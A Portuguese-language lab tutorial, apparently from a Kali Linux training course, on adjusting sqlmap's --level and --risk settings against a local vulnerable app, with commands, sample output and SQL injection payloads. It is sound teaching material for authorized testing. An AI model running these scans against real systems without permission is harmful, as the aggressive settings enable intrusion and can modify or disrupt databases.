Ajustar Agressividade do Scan com Level e Risk no sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

sqlmap é uma poderosa ferramenta de teste de penetração open-source que automatiza o processo de detecção e exploração de falhas de SQL injection. Ao realizar um scan, dois dos parâmetros mais importantes que você pode controlar são --level e --risk. Esses parâmetros determinam a abrangência e a agressividade do scan.

  • Level: Controla o número de testes a serem realizados. Varia de 1 a 5, com níveis mais altos realizando testes mais extensos em mais pontos de injeção (como cabeçalhos HTTP).
  • Risk: Controla o nível de risco das payloads utilizadas. Varia de 1 a 3, com riscos mais altos utilizando payloads potencialmente disruptivas (como consultas baseadas em tempo que podem desacelerar um banco de dados).

Neste laboratório, você aprenderá a usar esses dois parâmetros para ajustar seus scans sqlmap. Você começará com um scan padrão e aumentará progressivamente o nível e o risco para observar como isso afeta o escopo, a duração e os tipos de payloads utilizados no scan.

Compreender o Nível (1) e Risco (1) Padrão

Nesta etapa, você realizará um scan básico com sqlmap sem especificar o level ou risk. Por padrão, sqlmap utiliza --level=1 e --risk=1. Este é o scan menos abrangente e mais seguro.

O Level 1 testa apenas parâmetros GET e POST. O Risk 1 utiliza payloads que geralmente são inofensivas para uma aplicação web, como testes básicos de injeção baseados em booleanos e em erros.

Vamos executar o scan padrão contra a aplicação vulnerável que foi configurada para você. A opção --batch responde automaticamente a todas as perguntas com a escolha padrão, tornando o scan não interativo.

Execute o seguinte comando no seu terminal:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch

Você verá o sqlmap iniciar seu processo de teste. Preste atenção ao resumo no final, que mostra o número de requisições feitas e as vulnerabilidades encontradas.

...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind'
...
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of XXX HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2129=2129

    Type: error-based
    Title: SQLite OR error-based - CUME_DIST
    Payload: id=1 OR 1 GROUP BY CUME_DIST(1)

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind
    Payload: id=1 AND 7415=CASE WHEN (substr(sqli,1,1)='S') THEN 7415 ELSE 0 END
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...

Este scan inicial é relativamente rápido e confirma a vulnerabilidade no parâmetro id.

Aumentar a Profundidade do Scan com --level=3

Nesta etapa, você aumentará a profundidade do scan definindo o nível para 3. Um nível mais alto instrui o sqlmap a realizar mais testes e verificar vulnerabilidades em locais adicionais.

  • --level=2 adiciona testes para cabeçalhos HTTP Cookie.
  • --level=3 adiciona testes para cabeçalhos HTTP User-Agent e Referer.

Ao aumentar o nível, você está pedindo ao sqlmap para ser mais minucioso. Isso naturalmente aumentará o número de requisições e a duração do scan.

Agora, execute o scan novamente, mas desta vez adicione a opção --level=3:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=3 --batch

Observe a saída. Você notará que o sqlmap agora menciona explicitamente testes em cabeçalhos como Cookie e User-Agent.

...
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] testing for SQL injection on HTTP Cookie header
...
[INFO] testing for SQL injection on HTTP User-Agent header
...
sqlmap identified the following injection point(s) with a total of YYY HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2129=2129
...
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...

Embora nossa aplicação simples não seja vulnerável através desses cabeçalhos, uma aplicação do mundo real pode ser. Você deve notar que o número total de requisições HTTP (YYY) é maior do que na etapa anterior (XXX).

Aumentar a Invasividade do Scan com --risk=2

Nesta etapa, você explorará o parâmetro --risk. Este parâmetro controla o "perigo" dos payloads utilizados.

  • --risk=1 (Padrão): Utiliza payloads majoritariamente inofensivos.
  • --risk=2: Adiciona testes de injeção "time-based blind" com consultas pesadas. Estes podem impor uma carga significativa no servidor de banco de dados.
  • --risk=3: Adiciona testes de injeção SQL baseados em OR e outros payloads potencialmente destrutivos que poderiam modificar dados.

Um risco maior pode descobrir vulnerabilidades que testes mais seguros poderiam não detectar, mas também aumenta a chance de interromper o sistema alvo. Deve ser usado com cautela.

Vamos executar um scan com um risco elevado. Voltaremos ao nível padrão (1) para isolar o efeito do parâmetro de risco.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --risk=2 --batch

Durante este scan, você verá o sqlmap empregando técnicas "time-based" mais agressivas. Esses payloads funcionam fazendo o banco de dados executar uma operação demorada (como uma função de benchmark ou sleep) e, em seguida, medindo o tempo de resposta do servidor para inferir informações.

...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind (heavy query)'
...
[INFO] GET parameter 'id' appears to be 'Time-based blind' injectable
...

O scan com --risk=2 é mais intensivo do que o scan padrão, mesmo no mesmo nível, porque os payloads em si são mais complexos.

Executar um Scan Combinando --level=5 e --risk=3

Nesta etapa, você combinará as configurações de nível e risco mais altas para o scan mais abrangente e agressivo possível.

  • --level=5: O nível mais alto. Testa todos os pontos de injeção possíveis, incluindo o cabeçalho HTTP Host.
  • --risk=3: O risco mais alto. Utiliza payloads que podem potencialmente modificar entradas do banco de dados. Isso é perigoso e só deve ser usado em sistemas onde você tem permissão explícita para testes destrutivos.

Esta combinação resulta em um scan muito longo e intensivo. É a abordagem "tudo incluído", lançando todos os testes conhecidos contra o alvo.

Execute o seguinte comando. Esteja ciente de que este scan levará significativamente mais tempo do que os anteriores.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=5 --risk=3 --batch

Você verá o sqlmap executando um número massivo de testes em todos os pontos de injeção concebíveis com seus payloads mais potentes.

...
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] testing for SQL injection on HTTP Cookie header
...
[INFO] testing for SQL injection on HTTP User-Agent header
...
[INFO] testing for SQL injection on HTTP Referer header
...
[INFO] testing for SQL injection on HTTP Host header
...
[CRITICAL] OR-based injection tests might result in an update of all table rows. Continue? [y/N] y
...

Este scan demonstra a capacidade máxima do sqlmap, mas também destaca a importância de entender as compensações. Um scan como este é frequentemente impraticável e muito arriscado para engajamentos padrão.

Observar o Aumento de Payloads e Duração do Scan

Nesta etapa final, você refletirá sobre os resultados dos scans anteriores. Não há novos comandos para executar. O objetivo é entender o impacto do ajuste de level e risk comparando os resumos dos scans.

Se você revisar a saída do terminal de cada etapa, notará um padrão claro:

  1. Scan Padrão (--level=1, --risk=1): A linha de base. Foi rápido e enviou o menor número de requisições.
  2. Nível Aumentado (--level=3): O número de requisições aumentou porque o sqlmap testou mais pontos de injeção (Cookie, User-Agent). A duração aumentou correspondentemente.
  3. Risco Aumentado (--risk=2): A duração do scan aumentou, não necessariamente devido a mais requisições, mas porque os payloads baseados em tempo são inerentemente lentos.
  4. Máxima Agressividade (--level=5, --risk=3): Este scan enviou um número vastamente maior de requisições e levou o maior tempo para ser concluído, por uma margem significativa.

Aqui está um resumo do comportamento esperado:

Parâmetros do Scan Pontos de Injeção Testados Tipos de Payload Duração Relativa
Padrão (L1, R1) GET/POST Boolean básico, erro Curta
--level=3 GET/POST, Cookie, User-Agent Boolean básico, erro Média
--risk=2 GET/POST Adiciona "time-based" pesados Média-Longa
--level=5 --risk=3 Todos os cabeçalhos Adiciona baseados em OR, empilhados Muito Longa

A principal conclusão é que existe uma troca direta. Aumentar level e risk fornece testes mais completos e uma maior chance de encontrar vulnerabilidades obscuras, mas isso tem o custo de um tempo de scan significativamente aumentado e um risco maior de interromper o sistema alvo.

Resumo

Neste laboratório, você explorou com sucesso como ajustar a agressividade dos scans do sqlmap usando os parâmetros --level e --risk.

Você aprendeu que:

  • --level controla o escopo do scan, determinando quais partes de uma requisição HTTP são testadas quanto a vulnerabilidades. Níveis mais altos são mais abrangentes.
  • --risk controla a intrusividade do scan, determinando os tipos de payloads SQL utilizados. Riscos mais altos são mais propensos a encontrar vulnerabilidades, mas podem ser perigosos para o banco de dados alvo.
  • As configurações padrão (level=1, risk=1) são projetadas para serem rápidas e seguras.
  • Aumentar esses valores leva a tempos de scan mais longos e requer mais cautela.

Como uma boa prática, sempre comece com configurações de level e risk mais baixas. Aumente-as apenas se os scans iniciais não forem bem-sucedidos e você tiver autorização adequada para realizar testes mais agressivos. Parabéns por completar este laboratório!